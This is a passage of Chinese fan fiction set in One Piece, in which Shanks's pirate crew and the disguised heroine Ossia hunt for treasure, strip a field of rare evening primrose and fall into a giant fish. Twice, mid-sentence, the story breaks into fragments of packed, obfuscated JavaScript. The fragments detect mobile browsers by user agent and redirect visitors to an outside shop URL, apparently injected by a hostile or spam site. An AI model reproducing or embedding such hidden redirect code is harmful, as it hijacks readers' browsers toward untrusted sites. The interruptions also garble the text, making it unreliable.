“当时他跟一个“姑娘”隔着电话虫亲亲热热地陷入了爱河，把自己的财宝都邮给了对方。” “后来他们约在某座小岛上见面，还不许我们跟着，结果到了才知道那“姑娘”和“她”同伙计划着把他绑了送海军，好能大捞一笔。莱姆琼斯恼羞成怒，大杀四方，结果那“姑娘”又说自己被他战斗时的英姿给折服了，这次是真的陷入了爱河……” 斯内克兴高采烈地接过话茬：“莱姆琼斯他是真敢信啊，高高兴兴跟他的小情儿和好了，结果本垒打的时候发现人家裙子底下掏出来比他还大！哈哈哈哈哈！” “没错没错！我还记得那家伙回来以后就去找本乡‘治病’了，说是留下了阴影哈哈哈哈哈哈哈！！” “哈哈哈哈那次可真把我笑死了，他自个就把那群骗子解决完了，搞得咱们想去给他出头儿都没地方！” “哈哈哈哈哈哈哈哈哈哈！” 奥西娅：“……” 这是在讲什么地狱笑话吗？ “还有路刚上船那会儿，接到了一个打错的电话虫，对面是个语气温柔可爱还超级包容他的欧内酱~这俩人也飞快坠入了爱河，约定好在安德里亚岛见面。结果到了才知道欧内酱芳龄九十八，孙子跟路一样大！从那以后路就变成了女苦手哈哈哈哈哈！！” “但你真别说，欧内酱额头上的年轮虽然多了几圈儿，但人家可是货真价实的当地首富。路可是差点儿就成为了走上人生巅峰的男人！” “哈哈哈哈哈这巅峰给你，你要不要？” “我想要欧内酱也不给机会啊，人家说了就喜欢路那种看上去有福气的，感觉放在家里就能招财进宝。我跟富婆之间还是没有缘分啊。” “哇靠！你小子还真去问过啊？！” “哈哈哈哈哈哈！咱们船上的电话虫不会被爱情女神给诅咒了吧?” “我记得还有一次……” “没错没错！我也记得那次，耶稣布他……” 奥西娅：“……” 她突然明白了一个道理，如果你的好兄弟们在侃大山，一定要参与进去，千万不要不在现场。否则，你永远都不知道他们会爆出多少你本来打算死也要瞒到坟墓里去的黑料。 (三) 太阳日渐西沉，吵闹声也渐渐停止，一行人熄灭篝火，安静地注视着“女神岩”的方向。 在万米高空看日落，这个场景格外震撼，火红的太阳渐渐逼近，仿佛要把下面的一切都灼烧吞噬掉。 “女神岩”被落日笼罩，阴影投下，比起它本身凹凸不平的表面，影子似乎更加柔美纤长，仿佛真的有一位即将振翅而飞的女神。 影子伸出“中、食指”，指尖按在了丛林深处的某个地方。这个时候，无论夕阳再怎么西沉，手指的影子都停留在那个位置不再移动。直至太阳完全落下，皓月当空、群星漫天，女神的影子才彻底隐去了踪迹。 海贼们互相对视，夕阳的余晖似乎还停留在他们的瞳孔，闪烁着炙热的光。 “兄弟们！找秘宝去了！！” “哦！！！” 冒险小队举着火把，轻而易举地穿过危机四伏的丛林，把拦路的巨型动物们揍得满头大包，香克斯还逮了一只大黑豹给大家当坐骑，赶路速度有了质的提升。 骑着豹子的海贼们感受着独属于丛林的速度与激情，某几个人兴奋地嗷嗷大叫，惊起林子里一片飞鸟，最终荣获副船长奖励他们的“闭嘴”铁拳大礼包。 女神指尖的位置处于丛林深处，可他们越是靠近目的地，树丛反而变得越来越稀疏，高大的乔木渐渐变为低矮的灌木丛，最后只剩下一面镶嵌在青翠草丛中央的湛蓝色湖泊。 那湖泊亦不是空岛本地的白色海云，而是万米高空之下的真正海水，光洁的湖面上倒映着漫天星辰，深邃又宁静，宛如一块巨大的蓝宝石。 “好漂亮……” 一行人翻下黑豹的脊背，朝着那面湖泊走去，可就在他们迈入草丛的那一秒，就那一秒……翠色草丛的枝叶突然舒展开来，像是沉睡许久后醒来抻懒腰的精灵。 他们这才发现，它们并不是小草，只是把花苞蜷缩隐藏起来了而已，但现在，它们等待的那个人已经回来了…… 『亚弗戈蒙……』 奥西娅愣了下，“谁在说话?” 香克斯看向奥西娅，眼睛微微睁大，鬼面他，也能听见吗？ 是巧合还是…… 其他几个人却面面相觑：? “刚才，有、有人说话吗?” “鬼面！你这家伙别是故意吓我们吧?这鬼地方除了我们哪儿来的其他人啊?” “……不会是闹鬼了吧?” “呸呸呸！你不会说话可以别说！！” “你不觉得现在这个场景很适合闹鬼吗？不见月亮的深夜、悄无人烟的丛林，那种深山老怪什么的……” “啊啊啊啊！快闭嘴啊你这个混蛋！！” 『嘻嘻，是亚弗戈蒙回来了……』 湖面上吹起一阵清风，像是拂过了一只温柔的手，把遮住月亮的云层轻轻地拨开，皎洁的月光一点一点把他们和这片“草丛”笼罩。 “嚓嚓……” 草丛间响起细微的摩擦声，不过须臾便绽放成了一片纯白色花丛。 『亚弗戈蒙！是亚弗戈蒙！亚弗戈蒙回来啦！』 『不，不是亚弗戈蒙……她们的味道不一样……』 『那她是谁?』 『她是谁？』 『她是谁，她是谁，她是谁，她是谁……』 耳畔的声音越来越多，甚至有些吵闹起来，奥西娅忍不住再次问道：“你们是谁?” 『嘻嘻……』 『嘻嘻嘻嘻……』 花开的动静惊飞起无数在里面停歇的萤火虫，像是成群的星子从天空撒落到了他们身边。 其他几个人的鸡皮疙瘩都要飞起来了，“靠！鬼火啊！！！！” “真的有鬼啊啊啊啊啊！！！” 萤火虫群：? 你们瞎吗？你们礼貌吗？！ 这时，从花开后就没说过话的本乡却突然趴到地上疯狂刨起坑来。 其他人：！！！！ 脸都吓绿了jpg. “啊啊啊啊——！” “吱吱吱！！！！” 斯内克、宾治和猛士达的眼珠子齐齐瞪出来：“啊啊啊啊头儿！贝克曼！救命啊！本乡他被鬼上身啦啊啊啊啊啊！” 贝克曼：“……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097917|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 你们是笨蛋吗？ 纯白色的花丛在月光下安静地盛开着，环绕着那面同样静谧的湖泊。 “这是……” 奥西娅附身去仔细查看那些纯白色的花朵，心跳渐渐变快，是月见草，是她上上辈子以及上辈子都在寻找的金蕊月见草。 贝克曼摘下一朵月见花，举在月光下观察，有些感慨道：“还以为金色花蕊的月见草只是传说，没想到居然会真实存在。” 奥西娅的指尖轻轻触碰过它金色的花蕊，金色的花粉沾染上她的指尖，像是真正的黄金粉末那样在月光下闪烁着浅金色的磷光。 上上辈子的养父母对她说，他们捡到她的时候，她的襁褓里别着一枝纯白色的金蕊月见草，普通月见草的花蕊都是浅黄色的，只有她的那朵是金色的，很稀奇也很美丽。 第一世和第二世，她都试图找到那种金色花蕊的月见草，却始终寻不见。 香克斯很好奇：“医疗室里那些月见草库存的花蕊不都是金色吗?” “闭嘴吧，你这个连女士口红色号都分不清的色盲，金色和黄色可是两码事。” “……” 香克斯哽住，理直气壮地在心底骂骂咧咧，他又不是某人那种花花公子，分清楚那么多口红色号干什么？！ 不都是红的吗？！ 没错！就是都是红的！！ 没毛病啊！他怎么就分不清了呢?！！ 好你个贝克！BIG胆！！居然敢污蔑船长！！！ 本乡那边把挖出来的金蕊月见草塞进背包里，然后继续疯狂地挖……挖、塞、挖、塞、挖、塞，挖塞挖塞挖塞，挖挖挖挖挖、塞塞塞塞塞，忙碌的像一只喝了肾宝的大鼹鼠，鼠生里只剩下无穷无尽的刨坑挖土。 宾治他们二丈和尚摸不着头脑，“不都是月见草吗？有什么区别?就因为它皮肤好看? “不至于吧本乡，别浪费背包空间了，留着待会儿装秘宝用它不香吗？” “你们懂个屁！” 本乡的语气里透着前所未有的兴奋，手下采集草药的动作不停，头也不抬地回答道：“这可是传说中的万能灵药啊！” 他们几个满头问号：“万能灵药?” 本乡却没功夫继续给他们解释，只好由靠谱的副船长接过给笨蛋们科普的重任，对上他们几个“太好了，又有不可思议的故事听了”的眼神，贝克曼全当看不见，声音不疾不徐地讲起了金蕊月见草的传说…… 传说千百年前的人类在生病时，常上山采摘一种包治百病的万能灵药来治愈他们的痛苦，这种神奇的药草只会在夜间开出美丽的花朵——黑夜里、月光下，随风翩翩起舞的纯白色花朵散发着悠悠的清香，大大的花瓣上面有剑刻般好看的纹路、磷光点点，如同神女下凡。 但等到第二天太阳出来的时候，花朵就会若隐若现地悄悄闭合，于是人们给它起了一个好听的名字，月见草——一种只有沐浴在月光下才会绽放的花朵，一种只会盛开给月亮看的灵药。 传说的后半段里，世界的贵族们觊觎月见草神奇的药效，想要将它占为己有，成为贵族专用的“王室御药”或“国王药物”，于是下令把世界上绝大多数的月见草通通销毁掉，只留下小部分特贡给贵族使用。 但月见草的生命力十分顽强，风吹过，将它的种子带去很远的地方，一旦种下便会生生不息、连绵不断、年年成花海，那群自命不凡的愚蠢贵族永远都无法将它禁锢占有。 贝克曼缓缓吐出一口香烟，为这个传说收尾，“后来因为月见草的这些传说和习性，人们赋予了它全新的寓意，默默的爱、永恒的陪伴与守护、不羁的心、沐浴在月色下的美人以及等待。” 笨蛋们“呱唧呱唧”鼓掌。 香克斯：“哇哦！斯国一！！不可思议的万能灵药！！！” 斯内克：“好像每个传说里的贵族都是一种令人无法理解的恶毒蠢蛋。” 宾治：“兄弟，要是有一天你理解了贵族那群玩意儿，那你离完蛋也不远了。” 猛士达竖起大拇指，发出点赞的“吱吱”声。 “还有一点。” 贝克曼淡淡补充道：“根据最新的情报，这种传说中的灵药在地下拍卖场的价格已经被炒到了一亿贝利一株。” 话音才落，香克斯几人已经撅着屁股趴在地上连花带地皮的一起撅起来了。 宾治和斯内克：“还找什么亚弗戈蒙的秘宝啊?！！赶紧去把营地里那群悠闲度假的混蛋们叫过来！！！一起来给这块地皮个抛光儿！！！！” “才不要！！” 闻言，挖的满脸是土的香克斯立马抬头，垮起个小猫批脸大声反驳：“没有冒险的话，那还算什么海贼啊?！不管是亚弗戈蒙的秘宝还是一亿贝利一株的灵药，我全都要！！！” “……” “……” “……” 沉默了三秒，冒险小队里爆发出惊天的大笑，“头儿你也太贪心了吧?” “不过谁让我们是海贼呢！” “海贼可不会放弃即将到手的宝藏啊！！” (四) 奥西娅看着他们飞快地将五平米左右的月见花丛薅秃秃，直到本乡的背包被撑得再也塞不下去哪怕一株他们才意犹未尽的停手，语气里尽是可惜：“可恶，失算了啊，早知道多带几个背包来了！” 奥西娅：“……” 你们真不愧是海贼啊。 她看着那块被拔秃了的月见花丛，感觉就像是看到了一只尾巴尖尖上被薅光了毛毛的漂亮布偶猫……那种诡异的无语感不言而喻。 本乡背着个比他还高出一头的“草药包”，笑得见牙不见眼，手罩在眉峰上环顾四周，“接下来咱们该往哪儿走啊?” 宾治蹲在湖边帮猛士达清洗它沾满泥土的爪子，随口猜测道：“诗歌的下一句是‘开启关键的钥匙藏于鱼腹’……鱼的话，难道要潜到湖里去找吗？” 斯内克摸着下巴思考，“也不一定是指真的鱼，‘时序女神的右手’也只是一块岩石而已，‘藏于鱼腹’很可能也是一种比喻。” “吱吱！吱吱吱！” 猛士达突然把爪子从宾治手里抽出来，蹦蹦跳跳地朝着不远处的一块月见花丛跑去。 宾治连忙跟上，对他的搭档十分信任：“猛士达肯定是发现了什么！” 果然，在猛士达站定的那片花丛之下居然透露出一角金色的光泽。 几个海贼毫不犹豫地开挖，等把这个位置的月见花丛全部挖开后，一个金色的正方形板面出现在了他们眼前，上面还装饰着一只怪鱼浮雕。 “我去！”宾治趴在地上，把金板上的碎土块儿拂干净，看上去恨不得上嘴咬咬，“这个色泽……该不会是纯金的吧?” “可以啊猛士达！猴猴立大功啊！！等回去就让路给你做香蕉大餐！！！” “吱吱！” “嘿嘿~要是找不到秘宝，把这块金板扛回去也值了！” 贝克曼看着金板上的怪鱼浮雕：“所谓‘开启关键的钥匙’很有可能就藏在这里面。” “但是要怎么进去啊?” 船医·武器大师·本乡活动活动手指，提议：“我拆了试试?” “……” 贝克曼捏捏鼻梁：“……不，先找找看有没有能打开的机关。” 几个人蹲在金板旁边东摸摸西敲敲，然后一起瘪着嘴仰起脸看向贝克曼，努力下垂的眼尾让他们看起来特别无辜(?)，“没有任何机关呀，贝克曼SAMA~” Yes！他们都看到好多次了！！贝克曼特别吃他那些前女友的这一套！！！ 贝克曼咬了咬烟嘴，拳头痒痒……他们以为自己是Lady吗？被他们这么喊，自己只想杀人而已。 “要不要站上去试试?” 奥西娅提议道，“在我家乡那边，机关的开启方式基本是有定式的。复杂的主要包括各种类型的解密，简单的则分为转动抽拉式和按压式。” “金板上既没有给出需要解密的信息，又没有可以转动或抽拉的装置，所以它很大可能上是按压式机关。而按压式的机关，简单点的只要给予压力就可以启动，复杂一点的则只有在给予的压力或重量处于规定范围内的区间时才能开启。” “刚才你们对它上下其手敲敲打打，机关却没有动静，那它就很有可能是较为复杂的那类按压式机关了。” 贝克曼和本乡颔首，目露赞赏。 另外几个人也目露赞赏，然后真诚发问：“鬼面你真厉害！但什么是较为复杂的按压式机关呢？” “……” 对上他们崇拜且充满求知欲的眼睛，奥西娅罕见的哽住了，所以她刚才说的那些话，你们是一点儿都没听对吗? 贝克曼显然对他们这种不听人话的行为习以为常，指间夹着烟点点金板的方向，“少废话，站上去。” “嗨~贝克曼SAMA~” “……啧，再这么喊，我就杀了你们。” “嗨~贝、好的，副船长！没问题，副船长！！我们这就站上去，副船长！！！请问可以把枪放下了吗，副船长?呜呜呜QAQ~” …… 六人一猴一起站上金板，响起了“咔嚓”一声脆响，但过了一会儿却什么都没有发生，贝克曼猜测：“应该是重量不对。” 越来越接近“亚弗戈蒙的秘宝”，香克斯的情绪十分亢奋，眼睛亮晶晶的，一点脑子都不想动，朝贝克曼当伸手党，“是多了还是少了?” “不确定。先减少人数，实在不行就回营地把其他人也叫来。” 贝克曼等人接连下去，等金板上只剩下香克斯和奥西娅的时候，“咔嚓”声再次响起，然后金板以迅雷不及掩耳之势一下子来了个三百六十度大翻转，将那俩人吞下去后再次恢复原样。 贝克曼：“……” 本乡：“……” 斯内克：“……” 宾治：“……” 猛士达：“……吱?” 几个人眼睁睁地看着船长和同伴瞬间消失在眼前，大眼瞪小眼，人眼对猴眼，“喂喂，这么掉下去真的没问题吗？完全不知道里面是什么情况啊！” “……” 贝克曼把香烟掐灭，稳如老狗：“放心吧，笨蛋是不会死的。” 10. 第 10 章 (一) 变故发生的太快，他们的身体飞速下坠，奥西娅摸向腰间想要抽出云澈御剑拉住二人，手腕却先一步被人握住。 她的手顿住，耳边是呼啸而过的风声，手腕上传来的温度炙热，一直烧到了她活蹦乱跳的心脏。 “……香克斯?” 她瞪大了眼睛，即使周围一片漆黑伸手不见五指，她也忍不住在黑暗里寻找他的轮廓。她想知道他现在的表情，或者说，她现在只想看着他，那种强烈的心情，如同烈火在心头燃烧，快要将她的理智焚烧殆尽了。 ……不，不可以。 奥西娅在心底告诫自己，清醒一点，想想小乌塔，想想他的那个……妻子。 “嗯?” 香克斯的声音近在咫尺，男人的呼吸比她的要沉重些，热气喷洒在奥西娅的耳畔。 他靠得很近。 她只要抬手就能触碰到。 但她也清楚，他们现在的距离、他们现在的触碰，都只是出于一位船长对同伴下意识的保护。 而且，在香克斯的认知里，她可是一个货真价实的男人。 ……好不甘心啊，好不甘心啊，真的好不甘心啊。 奥西娅轻轻呼出一口气，心想，把那个问题问出来吧，得到香克斯的亲口承认，亲口承认他是有妻子的，让她能彻底死心……继续心存幻想下去、继续逃避下去、继续自欺欺人下去，这样下去可是不行的呀。 呜呜呜呜QAQ不就是一个喜欢了很久的男人吗？ 大海可是很广阔的，各式各样的男人都有，不但有男人还有女人，不但有女人还有人妖，不但有人妖还有人/兽、呸，还有皮毛族！ 总而言之，择偶范围宽广的很！总有一天她会遇到单身的男神！！ 呜呜呜呜呜QAQ，区区一个香克斯而已！区区一个香克斯而已！！区区一个香克斯而已！！！ “鬼面?” 一直听不到对方的回应，香克斯往回收了收拉住对方的手臂，几乎要把她揽进怀里，“你想跟我说什么?” 奥西娅：“……” 她已经能感受到他胸膛的热度了，而且那份热度像是会传染似的，将她的脸颊烘得格外烫，耳根都要烧起来了。 ……等、等等，等一下，她刚才在想什么来着?区区一个什么来着?！ 香克斯：? 他感觉到手里攥着的手腕似乎在发抖。 “你不会是在害怕吧？”黑暗中，男人低沉的声线里带着揶揄的笑意，“喂喂，你可是能驾驶着雷德·佛斯号在天上飞的男人啊，不会这么胆小吧?哈哈哈哈哈！” 奥西娅：“……” 很好，一声“男人”让她直接萎/了。 香克斯叨叨个不停，手还在奥西娅身上乱摸一通，最后毫不客气地在她屁股上拍了两下，哈哈大笑：“我说你这家伙腰上怎么一点肉都没有啊，一把就能掐过来，喔……其他地方的肉倒是不少，但都软乎乎的没什么力气，你是不是虚啊?” “……” 黑暗中，传来奥西娅隐忍的声音：“……你、你别摸了。” “哦。” 香克斯老老实实收回手，其实他还有句话没说完，那就是鬼面人长的也太小了点，骨架小、个头还矮，才堪堪到他胸口，能被他完全罩起来，一点都不Man……但他还是不说了，他怕说了以后鬼面自卑。 啧~香克斯美滋滋地想，他可真是个善解人意的好船长！ 好船长·香克斯安慰对方说：“没关系的，你别自卑。等回去以后问问本乡，吃点厉害的药补补什么的。” 奥西娅：“……” “不用担心！你看莱姆琼斯当时那么大的阴影，本乡不也照样把他治好了吗？要相信我们的船医啊！” 奥西娅：“……” 我信你奶奶个腿儿！ 她是个拥有良好教养的文明人，大多时候是不说脏话的，除非忍不住。 奥西娅面无表情，什么旖旎的心思都没有了，只想把那个该死的问题赶紧问出口，好让自己悬着的心彻底死掉！ “香克斯！你有没有妻、咕噜咕噜、咳咳唔！” 她提高声音，正准备一口气将心底的话问出来，下坠的身体却突然砸进了水里。巨大的水花声在耳边炸开，坠落的惯性让他们朝着不知名的水底沉去。 来不及反应，水就瞬间吞没了她的声音，奥西娅被迫呛了好几口水，超级不甘心地想，她差一点就要问出来了呀！ 等下坠的惯性结束，两人松开刚才下意识握紧彼此的手，朝着水面全力游去。 奥西娅游啊游啊游，在水里划拉了好半天，身体却半点没有上升……桥、桥豆麻袋！奥西娅突然反应过来，她、她根本就不会游泳啊！上上辈子不会！！上辈子不会！！！这辈子还是不会啊！！！！ 她都不知道刚来这个世界那会儿，掉进海里的自己是怎么蛄蛹到岸边的！ 奥西娅在漆黑冰冷的水里不断挣扎下沉，周围根本看不到香克斯的身影，她只好抽出云澈，打算先把自己一个人御剑带上去再说。 也不知道她究竟下沉了多深，云澈带着她“向上”窜出去好长一段距离都没能抵达水面……“咕噜咕噜”，几个气泡从她嘴边泄露出来，奥西娅郁闷地想，她该不会是窜错方向了吧? 又过了一会儿，的确是窜错了方向的奥西娅再次吐出一串气泡，糟糕，肺里的空气要不够用了……“咕噜咕噜咕噜”，奥西娅的意识渐渐模糊，手也失力地松开了云澈的剑柄，身体无助地朝着水底沉去……要是能活着出去的话，奥西娅想，她一定要把学游泳的计划提上日程。 下一秒，一条有力的手臂钳箍在她腰间，即便身处在冰冷的海水里，奥西娅也能感受到对方怀里的热度，脸上的面具被人揭开，唇瓣上传来温热柔软的触感，氧气被缓缓渡入口中……奥西娅倏然瞪大眼睛。 “咕噜咕噜咕噜……”一连串小气泡不小心从二人相贴的唇齿间跑了出去。 香克斯垂眸，对上了她瞪大的眼睛。 他想，这实在是一双漂亮到极致的眼睛，睫毛既长又翘，瞪大的时候，眼尾的睫毛根根分明地翘着，就显得眼睛更大更圆了。 他想，他终于知道为什么鬼面要一直带着面具了，不带的话肯定会被人说成是小白脸吧！ 扑哧~哈哈哈哈简直有一张比女人还要好看精致一万倍的脸啊哈哈哈哈哈哈！ 香克斯自以为找到了鬼面戴“鬼面”的真相，笑得胸腔不断振动，又跑出去一串小气泡。 奥西娅看到他眼里明晃晃的笑意，白皙的面颊立马涨红，像是白云遇到了夕阳，被晕染成了一片晚霞。 “……” 奥西娅想，原来他的瞳孔是酒红色的呀，之前一直以为是黑色的来着……等等，水里面不是漆黑一片吗？为什么她还能看清楚香克斯的瞳孔！ 香克斯身后，一团光源正朝他们飞速靠近，连带着他们周围的海水都泛起了淡淡的蓝色荧光。 香克斯正要抽出格里芬，却被奥西娅盖住了左手，她朝他摇摇头，香克斯愣了一下，然后乖乖松开了格里芬的剑柄，任由那条怪模怪样的大鱼把他们两个连同周围的海水都一起吞进了肚子里。 把二人吞下后，发光大鱼打了个饱嗝，慢悠悠地游走了。 (二) 另一边，贝克曼他们也两两一组通过了怪鱼金板，下饺子似的掉进水里。水下是彻底的黑暗，但随着他们上凫，眼前渐渐出现了光芒，等彻底凫到水面，四人一猴差点被那片金灿灿的光芒给闪瞎双眼。 这其实是一个“U”型的水道，他们从右边的怪鱼金板入口处掉下来，途中需要憋气游过“U”字下方横着的通道，然后再从左侧竖着的水道那里上凫，才能抵达最终目的地。 这对冒险者的水性要求很高，也怪不得奥西娅会在水底迷失方向，差点把自己给淹死。 贝克曼他们看向散发着金光的地方，那是一扇坐落在岛礁上的巨大金门，金门上装饰着一个金质的大象脑袋，弯曲的精致象牙下面衔着一个同样巨大的金环。 有多大呢？ 宾治把脑袋伸进去试了试，得出结论，他们四个人把头都伸进去同时上吊的话轻轻松松。 完全不知道宾治为什么突然把头伸进门环里去的其他三个人+一只猴：“……” “我去……” 贝克曼他们站在岛礁上，仰头望着这扇巨大的金门，金门的顶端抵到了这片空间的最高处，左右两侧也紧紧贴着两边的黑褐色崖壁，严严实实的镶嵌在其中，没有留下一丝可以偷溜过去的缝隙。 很显然，现在摆在他们面前的只有两条路: 一、穿过金门进入下一个地方。 二、重新潜入水底，被淹死的可能性极高。因为他们竖直掉下来的那条通道很高，甬道壁也十分湿滑，他们爬不上去。 两条路摆在眼前，但凡不是活够了想找死，笨蛋也知道该选第一条。 那么问题来了，先他们一步掉下来的香克斯和鬼面去哪儿了? 人呢?他们人呢?！ 宾治乐天派地说：“有头儿在呢，担心什么啊?没准儿他们已经穿过金门抵达下一个地方了，正在前面等着咱们呢！” 其他几个人：“……” 贝克曼重新点燃香烟，默默地抽着，没有说话。 宾治：? “不……”斯内克一脸便秘的表情，“不如说，就是因为有头儿在才更需要担心吧?你忘记他带咱们开宴会的那次了?” 那是很早以前的事儿了，那个时候船上的财政大权还放在船长手里……嗯，他们吃了很大的教训。 雷德·佛斯号途径的一座岛上正在举办海上狂欢节，头儿他就是个人来疯，兴致勃勃地要带着全岛人一起开宴会，然后怒花一亿贝利！ 事后，他还敢没脸没皮地笑着说什么“最后岛上的人全都聚过来了，真是痛快啊哈哈哈哈”一类的恬不知耻的屁话！ 岂可修！他们全团上下可是连自己的私房钱都掏出来了才堪堪凑够九千万三千零九贝利啊！最后被宴会承办方的老板扣在店里洗了足足一个星期的盘子才被允许离开的！！ 从那以后，船上的财政大权就正式移交到了副船长手里，大家举双手双脚一致赞同。 当时刷盘子刷到手抽筋的宾治：“……” 本乡叹气道：“还有咱们被压在地底下的那次……” 有一次，他们跟一伙偷窃国家还欺压当地民众的海贼们战斗。 一伙儿人在当地民众崇拜的眼神里闪亮登场，然后头儿他一个顺手把敌人的据点城堡给劈了，虽然敌人都被压在了下面不战而败……但他们自己也被压在地底下了啊！ 香克斯成功对己方打出了伤害。 那一次，被压在屋顶下面断了两根肋骨的宾治：“……” “还有，咱们海贼团的实力在伟大航路上也算是不错的了吧?但咱们遇见某个海贼猎人团的时候总是半战半跑，这是为了什么，你不会忘记了吧?” 宾治摸着光头回想起那桩孽缘…… 两年前，伟大航路上有两个十分耀眼的海贼团——红发海贼团和古巴海贼团，他们被海军总部并称为“时代的双刹”。但现在这个所谓的“双刹”已经完犊子了，因为两年前，古巴海贼团已经全员转行成了海贼猎人。 宾治记得那是一个很有名的温泉镇，明明属于冬岛，却有着这片大海上最棒的露天温泉。 途径这里的红发海贼团当然不会错过，一行人热热闹闹地去了当地的温泉旅馆……氤氲的水汽、天空中飘落的雪花、温的正好的清酒，完美的温泉之旅。 香克斯他们几个泡着泡着就打起了水仗，贝克曼等人被他们几个闹得没办法，只好赶紧上岸，香克斯他们也穿上浴衣把“战火”延续到了岸边。 可他们闹着闹着就忘记控制力气，把隔壁温泉的墙打通了，一群人跟正泡在温泉里的古巴海贼团面面相觑。 “轰隆”一声，靠近街道的那面墙失去支撑也塌了，街道上站着一群特地来伏击他们的海军。 红发海贼众：“……” 古巴海贼众：“……” 海军们：“……” 他们穿着浴衣在前面跑地飞快，后面跟着同样逃地飞快的古巴海贼团，这群人全员光着屁股……有的随手抄起木盆挡着、有的随手抢了路人的东西挡着，乌泱泱的一大片，海军追在他们身后骂骂咧咧。 古巴海贼团全员春光乍泄，泄了一路……第二天，还被海军拍成通缉令，泄遍了全世界。海上那群看热闹不嫌事大的混蛋称他们为“光/腚”海贼团。 古巴海贼团船长的那张重点部位打码的通缉令照片，是伟大航路两年前出了名的笑话和辣眼风“艳/照”。 为了不让自己的艳、通缉令继续发往全世界，古巴海贼团船长含泪结束了自己的海贼生涯。下次再见的时候，他已经带着那帮小弟转职当起了海贼猎人，目标是杀光红发海贼团和收藏他通缉令的所有人，统统杀光！ 咳咳……他们红发团倒不是打不过，就是莫名气短，毕竟从某种程度上来说，这场惨剧还是他们头儿间接造成的，确实不太地道。 诸如此类的事情还发生过很多很多……但宾治是船上少有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097918|149659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厚道人，这种容易让头儿社死的事儿他一般都埋在心底，要是没人提，那他也不会想起来。 想起此前种种的宾治终于明白了那句“因为有头儿在才更需要担心”的含金量，他的双眼变成荷包蛋泪目状，“糟了，那头儿他们……不会已经死掉了吧?！” 贝克曼：“……不至于。” “安心。”斯内克拍拍对方的肩膀，安慰道：“不是还有鬼面在吗?” “有需要保护的同伴陪在身边，头儿那家伙的血条就是怪物啊，强的可怕！” 被卷进大鱼嘴巴里的香克斯突然打了个喷嚏。 (三) 二人被大鱼吞进嘴里的时候，周围的海水也被连带着吞了进去，水流里形成了大大小小的漩涡将他们裹挟在其中，横冲直撞！天旋地转！！ 奥西娅觉得她好像是被扔进了滚筒洗衣机里，搅地头晕，yve~ 途中他们似乎撞上了什么东西，猛地顿了一下。但她被香克斯牢牢护在怀里，根本不清楚对方有没有受伤。在水里也没办法说话，奥西娅只能着急地攥紧香克斯胸前的衬衫布料。混乱中，他似乎安抚地用侧脸蹭了蹭她的头顶。 穿过大鱼长长的食道，两个人被水流冲飞出去，在半空中划过一道完美的抛物线，在重力的作用下，速度越来越快的自由落体，最后摔进了下方泛着蓝绿色幽光的胃液里，溅起一大片水花！ 说是胃液，但这里简直就是一方大鱼体内的“小型海洋”，“海水”泛着幽幽的蓝绿色荧光，应该是胃液里有助于消化的腐蚀性毒素。 “海面”上堆积着许多大鱼没能消化完的“食物”——废弃的船只木料、石头甚至还有金银珠宝，它们聚在一起，形成了这片“海域”上可以供人落脚的“岛礁”。 香克斯掐着奥西娅的腰一把将她举起，让她坐在那片“岛礁”上，然后反手把自己的草帽扣到了她的头顶，“暂时帮我保管一下。” 她被水呛的还有点咳嗽，“咳咳，什么?香克斯！” 不等奥西娅阻止，那个人就已经再次潜进了大鱼的胃海里。“海面”非常平静，一个水花都没有，奥西娅这个旱鸭子只能留在岸上干着急，可恶！香克斯那个大笨蛋！看那诡异的颜色也知道，胃液里肯定有毒啊！ 过了好一会儿，香克斯才再度破水而出，奥西娅赶紧把他拉上岛礁，不等她问他为什要下水，对方就先一步把手里的云澈递了过来。 奥西娅愣住。 香克斯把额前还在滴水的红发撩到脑后，脸上带着爽朗的笑容：“刚才在水里的时候，我看到它跟咱们一起被卷进来了，真是幸运啊哈哈哈哈！” “……” 奥西娅默默把云澈缠回腰间，然后猛地扑过去抱住了香克斯的腰。 “唔哇……”香克斯被她撞的后退一步，手臂下意识搭在了她的腰间。 奥西娅身高一米七，个头勉强到香克斯的胸口，看起来小小的一只。原本扎高的马尾在刚才的混乱里已经彻底散开，一头黑发宛如绸缎般顺亮，蜿蜒至腰际。 草帽还戴在她的头上，香克斯看不见她的表情，只能感觉到被海水泡的冰凉的衣襟又被温热的液体再次打湿。 香克斯：！！！！ “喂喂喂！这是怎么了?！” 他钳住她的肩膀把对方从自己怀里拉开，却不期然地对上了她泛红的鼻尖眼尾，像是给一捧雪点上了胭脂……香克斯愣了一瞬，像是被烫到了一样，赶紧松开握在她肩头上的手，脸上挂起大大咧咧的笑容：“……喂，我说，你那是什么表情啊?” “……” 没听到对方回答，本来移开了目光的香克斯又偷偷移回来瞄了她一眼，只见对方雪似的面颊上滑落着一滴晶莹剔透的泪珠，一滴、两滴、三滴……靠！香克斯有点受不了了！ 为什么一个大男人要一滴滴的掉眼泪啊?！路他们都是哇哇大哭眼泪鼻涕一起飞的啊！！！！ 他简直要给对方举手投降了，打着哈哈道：“想不到鬼面你还是个多愁善感的人啊哈哈……好了好了，别哭了别哭了，不就是帮你捡回来一把剑吗？我可是你的船长啊！你这样我都不好意思了喂哈哈哈哈哈哈……” 奥西娅知道他是真觉得不自在了，便曲起食指把眼角的泪抿去，抬起漂亮的杏眸望着他，像是一对刚被潭水濯洗过的黑水晶，声音里带着女子哭后特有的软绵哑意，“香克斯，你有妻子吗？” “……” 